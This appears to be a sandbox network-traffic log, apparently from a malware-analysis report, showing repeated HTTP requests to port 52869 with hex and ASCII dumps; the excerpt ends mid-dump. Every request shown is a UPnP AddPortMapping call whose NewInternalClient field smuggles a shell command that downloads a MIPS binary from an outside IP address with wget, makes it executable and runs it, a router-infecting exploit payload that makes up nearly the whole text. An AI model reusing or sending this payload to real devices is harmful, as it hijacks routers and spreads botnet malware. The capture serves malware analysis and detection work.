                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:05.786642075 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:11.162544012 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:21.658126116 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:42.649559021 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:25.656327009 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      40192.168.2.1537404185.11.213.5552869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:01.560550928 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:02.682708979 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 